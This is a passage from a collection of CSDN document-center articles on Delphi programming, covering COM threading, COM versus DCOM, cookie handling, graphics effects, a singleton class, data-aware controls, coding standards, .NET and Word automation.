d) Both - objects can support clients that use either Aprtment or Free threading models. This threading model give a maximum performance and flexibility.

So a correct value selection of Instancing and Threading Model can affect on performance of your COM object and depends from task which you want realize in this object.

Initialize threads that interact with COM

Ever get the "CoInitialize has not been called" (800401F0 hex) error?

Each thread in your application that interacts with COM (i.e. creates COM objects, calls COM APIs, etc.) must initialize itself into an apartment. A thread can either join a single threaded apartment (STA) or the multithreaded apartment (MTA).

The STA is system-synchronized based on a windows message queue. Use the STA if your object or thread relies on thread-relative resources such as UI elements. The following shows how to initialize a thread into an STA:

procedure FooThreadFunc; //or TFooThread.Execute
begin
CoInitializeEx (NIL, COINIT_APARTMENTTHREADED);
... do your stuff here ...
CoUninitialize;
end;

The MTA is system-guaranteed to be ruthless. Objects in the MTA will receive incoming calls from anywhere anytime. Use the MTA for non-UI related objects, but synchronize carefully! The following shows how to initialize a thread into the MTA:

procedure FooThreadFunc; //or TFooThread.Execute
begin
CoInitializeEx (NIL, COINIT_MULTITHREADED);
... do your stuff here ...
CoUninitialize;
end;


CSDN_文档中心_COM与DCOM的区别与联系

COM与DCOM的区别与联系

其实这种提法本身就及不科学

DCOM本身就是COM的一种表现形式

但是由于大家听见COM一般就把它当成在本地执行的COM

而DCOM当然就是分布的COM

在网络上的另一台计算机上执行.于是就诞生了这篇COM与DCOM的区别与联系.

区别:

COM有两种存在形式

动态连接库和可执行程序

但DCOM必须是可执行程序.因为DCOM不可能在客户程序的内存空间运行

所以不能是动态连接库.

COM(动态连接库形式)可以不用RPC通信

而DCOM必须使用RPC远程调用.

COM(动态连接库形式)与客户共同存在于同一内存空间

调用速度快

DCOM的速度只有COM的万分之一.

COM(动态连接库形式)的安全性不高

客户程序可以造成服务COM发生错误

DCOM安全性高

原因也是COM与客户程序共用内存空间造成的.

COM程序配置简单

DCOM配置较复杂.毕竟DCOM牵涉到网络和安全性.

联系:

客户程序不必知道COM的存在形式

有统一的接口调用方式

客户程序甚至不知道COM对象的位置

可能在同一台计算机上

也可以在半个地球的另一面;

由于DCOM本身就是COM的一种存在形式

具有许多共同点.


CSDN_文档中心_Cookie的建立使用

Cookie的建立使用

Cookies是一种Web服务器在客户端存储和返回信息的机制

这种简单的、永久的和基于客户端的状态信

息大大的扩充了基于Web的客户/服务器(Client/Server)应用程序的能力。因此广泛应用在大量的实际中，

例如所有订阅Microsoft公司的MSDN的用户、访问过Borland Online的用户，以及访问过的主页本地存储

Cookie，以便下次访问时提供上次访问的记录。

Delphi 3是Borland公司1997年推出的可视化、面向对象的高效率的快速应用程序开发工具(RAD)，提供

了大量的最新功能，例如开发COM/DCOM，一步开发ActiveX对象，多层数据库应用程序MIDAS等，并且使用

Delphi 3开发基于Web服务器的程序，如ISAPI/NSAPI ，Win-CGI，CGI程序都十分方便。

使用Delphi 3开发Web Server程序是非常简单，方便的，因为在Delphi中提供了Web Module、

TWebApplication、TWebRequest、TWebResponse、TPageProducer等大量的对象供使用.对于

Cookie

Delphi3也提供了大量的程序供使用

如TWebResponse.Cookies，TWebResponse.SetCookieField

，TWebRequest.Cookie，TWebRequest.CookieFields，TWebRequest.ExtractCookieFields等，应该是

非常方便。但本人为了实现一功能需要设置Cookie，但是发现使用Delphi提供的SetCookieFields设置不

成功，经研究Delphi 3所带的HttpApp.Pas和IsapiApp.Pas文件发现在中文Windows 95和NT环境下该程序

有错误。 根据Netscape公司的规定

Cookie的格式应为: Set-Cookie: Name=Value; expires=DATA;

Path=PATH; domain=DOMAIN_NAME; secure而且根据规定

日期(DATA)的设置必须满足格式“Wdy

DD-Mon-YYYY HH:MM:SS GMT”

基于RFC822

RFC850

RFC1036和RFC1123等规定，但是检查

HTTPAPP.PAS中的function TCookie.GetHeaderValue: string中为FormatDateTime('"expires="' +

DateFormat + ' "GMT; "'

Expires);

其中const DateFormat = 'ddd

dd mmm yyyy hh:mm:ss'

此

程序在英文环境中产生的格式是正确的

但是在中文中产生的结果却不对

因为星期和月份都将按照中文的表

示方法：如将11月生产“十一月”中文串，这样在Netscape Navigator和Microsoft Internet Explorer

就不能辨认了。

既然错误在于原VCL未考虑中文环境的问题，所以修改的方法有：1、修改VCL源程序

编译后将dcu文件拷

贝到Lib目录，这样会完全改正错误，这样是最根本的解决方法，但是 如果将源程序放在另一未修改的

Delphi中(例如提供源程序给别人和自己重新安装)编译又将出现问题。2、因为使用并不太多，所以可以将

修改的程序放在自己的程序中，使用 Delphi 3 提供的TWebResponse.SetCustomHeader设置

这样的好处

是将程序放在自己的程序内，重新装Delphi或在另一台计算机上编译的结果也会完全正确。因为Cookie的

目的一般有两种， 一种是在此会话过程中使用，过后不使用，此时不需要Expires段，不会产生时间错误，

可以使用Delphi 3提供的所有Cookie程序；另一种为永久保存，时间一般越长越好，于是可以将时间设置

为2099年二月22日

于是程序中设置Cookie的方法为

:Response.SetCustomHeader('Set-Cookie'

'Name=Value; expires=Sun

22 Feb 2099 08:08:08

GMT'); (注斜体用自己的名称代替，例如设置Count＝10，则Name用Count代替，Value 用10代替)，这样

就可以建立Cookie了.

以下为建立一个访问计数器的程序，可以参照：

const

LastIp:String='0:0:0:0'; //避免重复计数

Var

S:String;

Count:Integer;

begin

S:=Request.CookieFields.Values['count'];

if S<>'' then begin

try

Count:=StrToInt(S);

Except

Count:=0;

End;

end else Count:=0;

if LastIp<>Request.RemoteAddr then Inc(Count);

LastIp:=Request.RemoteAddr;

Response.SetCustomHeader('Set-Cookie'

'count='+IntToStr(Count)+';

expires=Sun

21 Feb 2010

08:08:08 GMT');

Response.Content:='您是第'+IntToStr(Count)+'来到本页!';

End;

(以上程序用Win95B的个人Web服务器＋Netscape Navigator 4.04调试通过)


CSDN_文档中心_Cookie的使用

HTTP协议是非常强大的。不过，它有一个缺陷就是不记忆状态。这意味着,当一次HTTP会话结束后，不管是客户还是服务器，都不记忆刚刚发生的会话。这有可能导致一些麻烦，因为服务器无法知道一些重要的事情，诸如口令、发给客户的纪录等。 HTTP协议提供了一个基本方法可以让客户的机器中保存一些信息，这样，服务器就可以从中知道上一次HTTP会话的的情况，这就是所谓的Cookie。 Cookie实际是一个字符串，它的格式是 CookieName=CookieValue。Cookie中不应该有分号或逗号。客户可以拒绝Cookie，所以任何一个Web应用程序不能认为客户的机器肯定有Cookie。察看Cookie的情况可以在Windows\Cookies中找。 在Delphi中管理Cookie是一件非常容易的事。THTTPRequest和THTTPResponse都封装了用来处理Cookie的特性和方法，允许您控制怎样读写Cookie。 要设置Cookie的内容，您可以调用TWebResponse的SetCookieField的方法。这个方法需要传递一个TStrings对象作为Cookie的内容以及这个Cookie的限制条件。SetCookieField()方法是这样声明的： procedure SetCookieField(Values:TStrings;const ADomain,APath:string;AExpires:TDateTime;ASecure:Boolean);Values参数是一个TStrings对象(也可以使用TStringList对象),用于指定Cookie的实际内容。Values中可以包含多个Cookie。ADomain 参数用于限制服务器的域，Cookie只对特定域的服务器是有效的。如果这个参数为空，Cookie将被传递给任何一个服务器。一般情况下，应当把这个参数设为Web服务器的域名。APath参数用于指定一组路径，Cookie只在特定的路径下是合法的。AExpires参数用于指定Cookie在多长时间内是合法的，由于时差的原因，这个时间应当基于GMT时区。如果您想使Cookie的有效时间是10天，就应当把这个参数设为Now+10。如果要使一个Cookie无效，这个参数可以设为过去的一个时间。注意，一个Cookie无效后，就不会被传递给服务器，但并不从客户机中删除。ASecure参数是一个boolean值，如果这个参数设为True，表示Cookie只能通过HTTP或SSL传递。一般情况，这个参数设为False。 在Web服务器端，您可以通过TWebRequest的CookieFields特性访问由客户传递来的Cookie。这个特性是一个TStrings对象，每个Cookie的格式是param=value。调用TWebRequest的ExtractCookieFields()方法可以把多个Cookie分解为一个个字符串。 Cookie可以保存任何字符串所能表达的信息。Cookie的长度最多可达4KB,客户的机器最多可以保存300个Cookie.每个服务器或域的Cookie不超过20个。下面举一个例子说明Cookie的应用：var
CookList : TStringList;
iBZ,fcbz:integer;&nbsp;begin
CookList := TStringList.Create;
try
CookList.Add('NSRID='+ sNSRID);
CookList.Add('NSRMC=' + sNSRMC);
CookList.Add('WJBM=' + sWJBM);
CookList.Add('YHZH=' + sYHZH);
iBZ:=0;
fcbz:=0;
CookList.Add('BZ=' + IntToStr(iBZ));
CookList.Add('FCBZ=' + IntToStr(fcbz));
Response.SetCookieField(cookList,'','',Now+10,False);
finally
cookList.Free;
End;
End;//创建Cookie iBZ:=StrToInt(Request.CookieFields.Values['BZ']);//使用Cookie


CSDN_文档中心_cool !!! DELPHI图形编辑技巧二则

一、界面色彩渐变效果的实现
    界面色彩渐变效果是通过用渐变的画刷刷绘依次相邻的矩形块实现的。下面列举实例说明:
    1.新建一个表单,假设其Width为500,设置一个按钮Button1,按此按钮将把表单置为由左向右由黄变白的渐变效果。
    2.Button1按钮的代码如下:
    procedure TForm1.Button1Click(Sender: TObject);
    var i,j:Integer;
    Dct:TRect;
    begin
    j:=Form1.height;
    //获得表单高度
    for i:=0 to 255 do
    //此处设置RGB()中一个颜色值
    begin
    Canvas.Brush.Color:=RGB(255,255,i);
    //每次画矩形的画刷颜色
    Dct:=Rect(i＊2,0,(i＋1)＊2,j);
    //每次刷绘的矩形区域
    Canvas.FillRect(Dct);
    //填充颜色
    end;
    end;
    二、图形整体拉出效果
    单纯的图形整体拉出效果比较简单,动态地改变图形区域的大小就可以实现,但事先应将图形的“Stretch”设置为“True”。
    举例说明下拉效果:
    1.在表单上放置一图片,高度为200,属性“Height”设为0,“Stretch”设置为True。添加“Timer”构件, “Interval”设为200,“Enable”设为Ture。
    2.在Timer1Timer中添加代码:
    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    Image1.Height:=Image1.Height＋20;
    //设置增量
    if image1.Height=200 then Timer1.Enabled:=FALSE;
    //图形整体拉出完毕
    end;
    以上两例在Windows95,Delphi3.0环境下运行通过


CSDN_文档中心_Creating a real singleton class in Delphi 5

Creating a real singleton class in Delphi 5

Abstract:The article describes how to create a class that follows the singleton pattern. The class described will take care of the singleton requirements and effects itself, effectively leaving the programmer to use the class as any others.

Creating a real singleton class in Delphi

by Lasse V錱s鎡her Karlsen, Systems Developer for Cintra Software Engineering

Errata | 1. | Implementation of TSingleton.NewInstance had the first test switched, the one that checked if the Instance variable was assigned or not. -- Fixed 11-08-2000 - Thanks to the people that emailed me about this --
 | 2. | Overzealous fix for the first errata, the NewInstance method should now work as stated. -- Fixed 11.08.2000 --

A singleton is a class that supports the creation of just one object. It's like your computer -- there's just one keyboard. So if you were writing Delphi code that simulated your computer, you would want just one object instance to deal with keyboard read, write, and control activities.

Articles about singleton classes are rare but there are a few on the Internet. I've seen some in magazines too. But none of these articles include sample code to create a real singleton class.

By "real" I mean that the class itself enforces the one-instance requirement, instead of leaving that task to the programmer. All of the articles I have seen so far have required the programmer to use the class in a special way to enforce the singleton pattern.

In this article you will see how to create a proper singleton class that includes logic to enforce the one-instance rule.

Note: The conventional approach, in which the one-instance rule is maintained explicitly by the programmer, is not without merit. Real singleton classes like the one I present here effectively hide the details and awareness of the singleton pattern from the programmer. The programmer is relieved of the task of enforcing the pattern -- that's good -- but the programmer may also be unaware of the special nature of the class, which is bad. If you don't know that the class is a singleton class then all sorts of errors can crop up. You have been warned!

Writing the code

Our goal is to write a class that can be used like this:

procedure Test;
var
  s1, s2 : TSingleton;
begin
  s1 := TSingleton.Create;
  s2 := TSingleton.Create;
  // Do something with s1 and s2 here
  s2.Free;
  s1.Free;
end;
(I've left out the try...finally blocks and other safeguards for simplicity's sake.)

The goal is to make the TSingleton class behave in such a way that both s1 and s2 refer to the same object. Here's what we have to do:

  • Instantiate the object the first time Create is called (when s1 is created above)
  • Ensure that when another Create is executed (s2 above), the existing object is reused instead of another one created
  • Avoid destroying the object when it's not the last reference that is destroyed (when s2 is freed)
  • Destroy the instance when the last reference is destroyed (when s1 is freed above)
Is there a way to override the creation and destruction of a new object in Delphi? There sure is. In the TObject class (the mother of all objects {pun intended}), there are two methods we can use:
class function NewInstance: TObject; virtual;
procedure FreeInstance; virtual;

NewInstance is responsible for allocating memory to hold a new instance of the class, and FreeInstance is responsible for freeing that memory when the class is through with it.

These methods control what happens when the object is created and when the object is destroyed. If we overwrite this code, we can alter the default behavior to work the say a singleton class requires. Nothing to it.

Tracking instances is a little trickier. We must:

  1. Keep track of each existing instance of our class
  2. Keep track of how many references there are to this instance
  3. Create a new object only when no instance exists
  4. Destroy the object when the last reference is removed
To keep track of an existing instance, we will use a global variable. Actually, the variable will ultimately be declared inside the Implementation part of a unit so it won't be a true global variable. But the scope must be sufficient to track all the Create and Free calls. We'll call the variable Instance so we know what it refers to.

As for keeping track of how many references exist, we need another variable. We can it inside the class or make it a sort-of global like Instance. I'll opt for the latter way but do what you feel is best. I'll name this variable Ref_Count.

We now have two variables:

var
  Instance  : TSingleton  = nil;
  Ref_Count : Integer     = 0;
I initialize the variables so that initially they don't contain any garbage. I know that the compiler does this automatically, so this is just a readability issue.

We'll need to declare the TSingleton class above the variable block, and if you take a look at the example files that you can download at the end of this article you'll see that I've put the declaration in the interface part of the unit so that it's visible outside of it.

Here's the declaration of the TSingleton class:

type
  TSingleton = class
  public
    class function NewInstance: TObject; override;
    procedure FreeInstance; override;
    class function RefCount: Integer;
  end;
I added the RefCount function so that we can see that it actually works, and it's often handy to be able to read how many references to the object exist. It's not required, however, so you don't have to add it to your singleton classes if you don't need it.

Ok, now for the implementation of the three methods:

procedure TSingleton.FreeInstance;
begin
  Dec( Ref_Count );
  if ( Ref_Count = 0 ) then
  begin
    Instance := nil;
    // Destroy private variables here
    inherited FreeInstance;
  end;
end;

class function TSingleton.NewInstance: TObject;
begin
  if ( not Assigned( Instance ) ) then
  begin
    Instance := inherited NewInstance;
    // Initialize private variables here, like this:
    //   TSingleton(Result).Variable := Value;
  end;
  Result := Instance
  Inc( Ref_Count );
end;

class function TSingleton.RefCount: Integer;
begin
  Result := Ref_Count;
end;
And that's it!

When you call TSingleton's constructor, a call is placed to the NewInstance method declared in TObject. This method allocates memory to hold the new object and returns it to the constructor. The constructor uses that memory and eventually returns a pointer to the memory to the code that called the constructor. This pointer is usually stored in a variable while the object is in use.

I have overridden the NewInstance method so it will allocate the memory only if no instance of the class exists. If there is an existing instance, the function simply returns that instance to the constructor so it will be reused.

If we call the constructor three times, an object is created only the first time. The other two calls simply reuse the first object. The reference count variable let us know that we have three references to the single instance.

When the program calls the destructor, a call to FreeInstance is placed to free the memory allocated in the constructor. This method, too, is overridden so that the object is destroyed only when the last reference is removed.

If you intend to use a singleton in a multithreaded program, treat the object as you would any variable you share between threads. Because that's just what you do: share it between the threads. So you must take special care when changing data.

Simplicity itself

As you can see, creating a singleton class doesn't require much effort, just the right knowledge and a few lines of code. My code works fine in Delphi 5. The technique will probably work fine with older versions of Delphi, but I haven't tested it so I don't make any guarantees.

Before I give you the file to play with, let me give you a few words of warning.

  • Don't descend from a singleton class. The reason for that is that there is only one instance and reference count variable. If you derive two classes from TSingleton, only one object will be created. The other class will reuse that object, which will be an instance of a different class. Don't go down that road!
  • You can't make singleton components for the simple reason of ownership. A component is owned by a form and one component can't be owned by several other components.
  • Remember that the constructor and destructor get called for each new reference as they are created and destroyed. Don't initialize private variables in the constructor and don't free them in the destructor. Instead, build that code into the NewInstance and the FreeInstance methods, as shown in the comments.
  • The order of adjusting Ref_Count in the two methods in conjunction with the rest of the code in those two methods is critical. It has to do with proper creation and destruction when something goes wrong. If your initialization code raises an exception, the order of doing things like shown above will make sure that the class is destroyed properly. Alter this code at your peril!
The file that you can download is just a copy of the unit that declares the singleton class described in this article.

Link to file: CodeCentral entry 15083.

I'm sure you can find a few places where a singleton class comes in handy and now you have the tools to create your own! If you want to get in touch with me, my email is lasse@cintra.no.

Happy programming!

更多文章


CSDN_文档中心_Data-Browse型Data-Aware控件的制作

Data-Browse型Data-Aware控件的制作

在MIS系统中，使用得最常见的当属数据感知控件了。学习如何编写自已的组件，一条很重要的原则就是从自己熟悉的
组件入手，派生出新的合乎自己要求的控件。在数据感知控件中，Data-Browse型是非常简单而又实用的。所以下面
我们就讲解一个一个自定义的TSunDBText（功能等同于TDBText）的编写：

TSunDBText = class(TCustomLabel)
{...}
end;

因为DBText仅起着显示数据的作用，即是个具有数据感知功能的标签，又根据Delphi的习惯，从Custom系列控件派生，
所以我们选择了TCustomLabel。

如何具有数据感知功能，其实大部分的书上都没有讲得很明白，包括Delphi Help。大致上有这么几点，我们慢慢叙述：
一：选择一个能数据感知的DataLink对象，通常我们选用TFieldDataLink，表示仅与一个数据库字段关联
二：组件必须提供DataSource和DataField两个设计时可读写属性
三：组件必须处理FDataLink的OnDataChange事件，以反映数据字段的变化
四：必须提供Notification重载方法，以便当关联的TDataSource组件在设计期或者运行期删除时，能得到通知，并且
反映出这种改变
五：习惯上，我们还要处理CM_GETDATALINK消息，以符合VCL内部通信的要求
六：为了组件的灵活性，建议提供一个Field属性，以便可以利用TField的方法来增强编程的适用性

下面我们就来一一讲解：
private
FDataLink:TFieldDataLink;

constructor Create(AOwner:TComponent);override;
begin
inherited;
FDataLink := TFieldDataLink.Create; {创建一个TFieldDataLink的对象}
FDataLink.OnDataChange := DataChange;
{

将TFieldDataLink对象的OnDataChange事件处理交给TSunDBText的DataChange来处理
这样就要以感知数据库字段的变化，并且进行自己想要的处理

}
end;

destructor Destroy;override;
begin
{
这里很简单，仅仅是回收资源而已
}
FDataLink.Free;
FDataLink := nil;
inherited;
end;

从上面我们已经看到，数据感知的关键就在于DataChange事件，大致上我们可以知道，是需要将该字段的显示值赋予
本标签组件的Caption属性即可，所以下面的代码便是做这部分工作的。
（注意，之所以要用GetFieldText来完成赋值工作，是出于多方面的考虑，包括设计期和运行期，及异常情况）
procedure TSunDBText.DataChange(Sender: TObject);
begin
Caption := GetFieldText; {read only displaytext when make an data browing component}
end;

function TSunDBText.GetFieldText: String;
begin
{

正常情况下，只需要取得FDataLink所代表的Field的DisplayText即可，如果你开发的不是Data-Browse控件，请用其他
Field属性

}
if(FDataLink <> nil) then
Result := FDataLink.Field.DisplayText
else if(csDesigning in ComponentState) then Result := Name else Result := '';
{
如果是处在设计期，则标签中显示的是组件的名称，如果是运行期，则标签为空；当然，这只是习惯而已，但对于使用Delphi IDE的人来说，
几乎就是规则。
}
end;

如果没有DataSource和DataField这两个属性，那么控件几乎就没法使用了。这也是重要步骤。

property DataSource:TDataSource read GetDataSource write SetDataSource;
property DataField:String read GetDataField write SetDataField;

这些方法十分简单，只要存取TFieldDataLink之DataSource和FieldName属性则可。

function TSunDBText.GetDataSource: TDataSource;
begin
Result := FDataLink.DataSource;
{仅需简单地返回TFieldDataLink之DataSource属性
从这就可以看出，DataSource属性的写方法也是对FDataLink赋值}
end;

procedure TSunDBText.SetDataSource(Value: TDataSource);
begin
FDataLink.DataSource := Value; {如上所云，对DataSource属性赋值}

if(Value <> nil) then Value.FreeNotification(self);
{
这里很重要，TComponent提供了一个FreeNotification(AComponent:TComponent)方法，这样，当Value释放时，就会自动调用AComponent的Notification
方法，我们就可以调整对应的Data-Browse控件，以反映这种变化。如TSunDBText对应的DataSource组件删除掉，则应该反映在标签上
}
end;

function TSunDBText.GetDataField: String;
begin
Result := FDataLink.FieldName; {获得TFieldDataLink之FieldName属性，也就知道了连接的是哪一个数据库字段名称}
end;

procedure TSunDBText.SetDataField(const Value: String);
begin
FDataLink.FieldName := Value; {这应该不用解释了}
end;

接上面的，我们说过Notification的由来，下面就进行相关的处理：
procedure TSunDBText.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited;
if(Operation = opRemove) and (FDataLink <> nil) and (AComponent = DataSource) then
DataSource := nil;
end;

当关联组件被删除时，而且被删除的正好是本身关联的DataSource组件，就应该设置其DataSource属性为空

function TSunDBText.GetField: TField;
begin
Result := FDataLink.Field;
end;

最后，数据感知控件还要响应CM_GETDATALINK消息。通常处理是将TDataLink作为Message的Result域返回
procedure CMGetDataLink(var Message:TMessage);message CM_GETDATALINK;

procedure CMGetDataLink(var Message:TMessage);
begin
Message.Result := Integer(FDataLink);
end;
到此，基本上组件的功能就已齐备了，然而，有一点许多组件编写者都没有注意到，即Action的应用。如果自定义组件能融入VCL的Action机制，
必然可以使自定义控件的功能更强大，更为一些高级使用者喜欢。

下一次，我们就来讲一讲Action之来龙去脉。


CSDN_文档中心_Delphi 程序员代码编写标准指南

一、序言

二、通用源代码格式规则

2.1 缩格

2.2 页边空格

2.3 Begin…End 配对

三、Object Pascal

3.1 括号

3.2 保留字和关键字

3.3 过程和函数（例程）

3.3.1 命名/格式化

3.3.2 形式参数

3.3.2.1 格式化

3.3.2.2 命名

3.3.2.3 参数的排序

3.3.2.4 常量参数

3.3.2.5 名称的冲突

3.4 变量

3.4.1 变量的命名和格式

3.4.2 局部变量

3.4.3 全局变量的使用

3.5 类型

3.5.1 大写约定

3.5.1.1 浮点指针类型

3.5.1.2 枚举类型

3.5.1.3 变数和ole变数类型

3.5.2 结构类型

3.5.2.1 数组类型

3.5.2.2 记录类型

3.6 语句

3.6.1 if 语句

3.6.2 case 语句

3.6.2.1 一般性话题

3.6.2.2 格式

3.6.3 while 语句

3.6.4 for 语句

3.6.5 repeat 语句

3.6.6 with 语句

3.6.6.1 一般话题

3.6.6.2 格式

3.7 结构异常处理

3.7.1 一般话题

3.7.2 try…finally的使用

3.7.3 try…except的使用

3.7.4 try…except…else的使用

3.8 类类型

3.8.1 命名和格式

3.8.2 域

3.8.2.1 命名/格式

3.8.2.2 可视化

3.8.3 方法

3.8.3.1 命名/格式

3.8.3.2 使用静态的方法

3.8.3.3 使用虚拟/动态的方法

3.8.3.4 使用抽象的方法

3.8.3.5 属性存取方法

3.8.4 属性

3.8.4.1 命名/格式

3.8.4.2 使用存取的方法

四、文件

4.1 工程文件

4.1.1 命名

4.2 窗体文件

4.2.1 命名

4.3 数据模板文件

4.3.1 命名

4.4 远端数据模板文件

4.4.1 命名

4.5 Unit文件

4.5.1 通用Unit结构

4.5.1.1 unit的名字

4.5.1.2 uses子句

4.5.1.3 interface部分

4.5.1.4 implementation部分

4.5.1.5 initialization部分

4.5.1.6 finalization部分

4.5.2 窗体单元

4.5.2.1 命名

4.5.3 数据模板单元

4.5.3.1 命名

4.5.4 一般目的单元

4.5.4.1 命名

4.5.5 构件单元

4.5.5.1 命名

4.6 文件头

五、窗体和数据模板

5.1 窗体

5.1.1 窗体类型命名标准

5.1.2 窗体实例命名标准

5.1.3 自动创建窗体

5.1.4 模式窗体实例化函数

5.2 数据模板

5.2.1 数据模板命名标准

5.2.2 数据模板实例命名标准

六、包

6.1 使用运行包和设计包的比较

6.2 文件命名标准

七、构件

7.1 用户自定义构件

7.2 构件单元

7.3 使用注册单元

7.4 构件实例命名约定

7.5 构件的前缀

7.6 Standard页

7.7 Additional页

7.8 Win32页

7.9 System页

7.10 Internet页

7.11 Data Access页

7.12 Data Controls页

7.13 Decision Cube页

7.14 QReport页

7.15 Dialogs页

7.16 Win3.1页

7.17 Samples页

7.18 ActiveX页

7.19 Midas页


CSDN_文档中心_Delphi .NET ?

Delphi .NET?

Bill Hatfield

When Delphi 1.0 was released in March of 1995 it made a huge splash. And why not? It was an elegant, very well-designed development environment that used a language that was customized for the environment and for fully object-oriented programming. Many features that Visual Basic developers had been begging Microsoft for years to include were implemented in Delphi—not the least of which was truly compiled code!

So now, for the first time in many years, Microsoft had a serious challenger in the development tools arena. Since the decline in market-share of Borland C++ there had really been no serious contenders. Now Delphi burst on to the scene with a vengeance.

Microsoft responded by identifying and copying as many of Delphi's best features as it could. Suddenly Visual Basic was compiled, had true objects, and even the property set/get methods looked familiar. One feature after another was stolen. And not only features—Anders Hejlsberg, the chief architect of Delphi, left Inprise and went to work for Microsoft (for an obscenely high salary, no doubt!).

But through all of this, I was convinced that some of the truly best features of Delphi would never be stolen:

• Delphi is written in Delphi—it's more than a trite phrase or marketing slogan. It's undeniable proof that Inprise so completely believed in this tool and this language that they were willing to develop their premier product in it.

• Delphi's elegant hierarchy of base objects inherited to the visual and non-visual components that you use in the environment. And the fact that you can choose an object anywhere in the hierarchy and begin your own inheritance line to expand and enhance it.

• The ease with which you can implement low-level API calls, COM interaction, and a variety of other tasks which Visual Basic simply couldn't touch.

Microsoft couldn't steal these features. They were part-and-parcel of Delphi and the way it was designed from the outset. Microsoft would have to rewrite everything to implement features like this. They would never do that. It would be too expensive.

I was wrong.

Microsoft, even as I write, is in the process of doing all of this and more. They are truly rewriting everything from the ground up. It's called the Microsoft .NET initiative.

But we're Delphi people! Why should we care what Microsoft does? Because your livelihood could depend on it! Don't get me wrong. I'm not saying Delphi is dead. Not by any means. But Inprise and the Delphi community must understand how the industry is changing in order to know how to respond and how to find a place within it.

The .NET framework is a hierarchy of objects that provide a variety of services from database access to COM. It provides an easy way for you to access, inherit, and extend a broad host of functionality. And it will be built into Windows and made available to any programming language in Visual Studio. Anders Hejlsberg has clearly had a major hand in the design of .NET!

And speaking of programming languages, the next version of Visual Basic finally gets true inheritance and polymorphism. It also gains the ability to do a whole bunch of low-level things that it could never do before, including multi-threading. It's actually been completely re-written from the ground up. In the process, they got rid of many of the annoying and inconsistent syntax that's been a part of the language since the early days. And, you guessed it—it was re-written in Visual Basic. How is that possible? For that you need to understand a little more about the way Visual Studio will work.

Visual Studio now becomes much more than a hodge-podge collection of all of Microsoft's development tools. In fact, it becomes a single, unified IDE into which third parties can plug in their own languages. These languages become first-class members of Visual Studio and gain access to all of the features and shared tools that are built into the IDE. There are over a dozen companies that have already dedicated themselves to creating languages to plug into the Visual Studio environment by the time the new version is released.

All languages (Visual Basic, Visual C++, and the third-party plug-ins) compile down to a common Intermediate Language (IL) that's similar to Java byte-codes. This common IL makes possible things that have never been done before—like creating an object in C++ and then inheriting it in Visual Basic. Cross language inheritance and development is a breeze in Visual Studio, and all languages share all of the same capabilities and access to the .NET framework. They all compile down to the same IL that is, in turn, compiled (either at compile time or dynamically at runtime) to executable code. There's no performance hit in any language. So now language choice becomes merely a preference.

This promises to bring an explosion of new languages like there hasn't been seen for many years. In the past, there were benefits to consolidating to just a few languages. Now, with Visual Studio's capabilities, all of those benefits are nullified. This also means, for better or worse, that if you want to be a player in the Windows world of software development, you'd better plug into Visual Studio. The benefits of doing so will be too great! The strain of attempting to re-implement all of the functionality that the .NET framework and Visual Studio provide will be too much, even for a company with a significant head start like Inprise.

Of course, this leads up to one big question: Will Inprise create a Delphi language plug-in for Visual Studio? This would provide a career track for all of the loyal fans of Delphi who want to access this exciting new world. It would also, without any extra effort, provide a host of new utilities and capabilities to the Delphi environment.

Delphi, as an independent development tool will continue. Kylix promises to make Delphi the visual development tool of choice for multiplatform development—no doubt about it. This is one area where Microsoft has chosen not to play, and that leaves the field wide open for others to fill the void.

But for developers and software companies that want to use Delphi strictly for Windows development, there can and should be a Delphi language plug-in for Visual Studio.

Click here to learn more about Bill Hatfield


CSDN_文档中心_Delphi + Word = 数据库 + 公文处理

孙立

Delphi擅长做数据库类的MIS开发，但对于OA就有点力不从心了。不过随着Microsoft的COM技术逐渐成熟，现在普通Windows应用已经可以和Office 97无缝结合了，尤其是在Delphi 5中提供了一组Servers组件，更是简化了程序开发。

最近接触了一个用户的案例，用Delphi控制Word做一个合同管理程序。办公人员先根据业务需要，写好合同的文字，但在用户名称、产品名称等变化的位置填写指定的标记字符串，然后通过Delphi把数据库中的实际数据替换掉Word中的文字，最后让Word打印出合同。

Delphi自带了一个简单的Word例题，但功能太简单。通过查找VBA的说明，再对照Delphi的VCL，编写了如下代码，实现了基本的公文管理功能。

启动Word时用如下代码：
begin
try
Wordapplication.Connect;
except
MessageDlg('Word may not be installed', mtError, [mbOk], 0);
Abort;
end;
Wordapplication.Visible := True;
WordApplication.Caption := 'Delphi automation';
end;

关闭Word用如下代码。如果想保存Doc文件，请修改SaveChanges变量的内容：
var
SaveChanges, OriginalFormat, RouteDocument: OleVariant;
begin
SaveChanges := WdDoNotSaveChanges;
OriginalFormat := UnAssigned;
RouteDocument := UnAssigned;
try
WordApplication.Quit(SaveChanges, OriginalFormat, RouteDocument);
WordApplication.Disconnect;
except
on E: Exception do
begin
Showmessage(E.Message);
WordApplication.Disconnect;
end;
end;
end;

让Word打开一个指定的文件，需要先放置OpenDialog，然后调用WordApplication.Documents.Open：
var
ItemIndex :OleVariant;
FileName, ConfirmConversions, ReadOnly, AddToRecentFiles,
PasswordDocument, PasswordTemplate, Revert,
WritePasswordDocument, WritePasswordTemplate, Format: OleVariant;
begin
if not dlgOpen.Execute then
Exit;

{Open document}
FileName := dlgOpen.FileName;
ConfirmConversions := False;
ReadOnly := False;
AddToRecentFiles := False;
PasswordDocument := '';
PasswordTemplate := '';
Revert := True;
WritePasswordDocument := '';
WritePasswordTemplate := '';
Format := wdOpenFormatDocument;

WordApplication.Documents.Open( FileName, ConfirmConversions,
ReadOnly, AddToRecentFiles, PasswordDocument, PasswordTemplate,
Revert, WritePasswordDocument, WritePasswordTemplate, Format );

{Assign WordDocument component}
ItemIndex := 1;
WordDocument.ConnectTo(WordApplication.Documents.Item(ItemIndex));

{Turn Spell checking of because it takes a long time if enabled and slows down Winword}
WordApplication.Options.CheckSpellingAsYouType := False;
WordApplication.Options.CheckGrammarAsYouType := False;
end;

让Word替换标记字符串要使用WordDocument.Range.Find.Execute，这里用Delphi替换了<#Name>：
var
FindText, MatchCase, MatchWholeWord, MatchWildcards, MatchSoundsLike,
MatchAllWordForms, Forward, Wrap, Format, ReplaceWith, Replace: OleVariant;
begin
FindText := '<#Name>';
MatchCase := False;
MatchWholeWord := True;
MatchWildcards := False;
MatchSoundsLike := False;
MatchAllWordForms := False;
Forward := True;
Wrap := wdFindContinue;
Format := False;
ReplaceWith := 'Delphi';
Replace := True;

WordDocument.Range.Find.Execute( FindText, MatchCase, MatchWholeWord,
